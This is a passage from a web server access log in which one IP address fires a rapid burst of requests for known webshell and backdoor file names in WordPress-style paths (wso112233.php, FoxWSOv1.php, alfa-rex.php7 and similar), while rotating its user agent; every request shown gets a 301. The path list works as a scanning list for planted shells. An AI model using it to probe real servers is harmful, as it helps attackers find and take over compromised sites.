10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:39 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:39 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:39 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:40 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:40 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:40 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:40 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:40 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:41 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:41 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:41 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:42 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:42 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:43 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:43 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:43 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:44 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:44 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:44 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:44 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:44 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:45 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:46 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:46 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:46 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:46 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:47 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:48 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:48 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:48 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:48 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:48 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:49 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:49 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:49 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:49 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:49 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:50 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:51 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:51 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:51 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:51 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:52 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:52 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:52 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:52 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:52 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:53 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:53 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:53 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:53 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:53 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:54 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:54 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:54 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:54 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:54 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:55 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:56 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:56 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:56 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:56 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:57 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:58 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:59 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:00 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 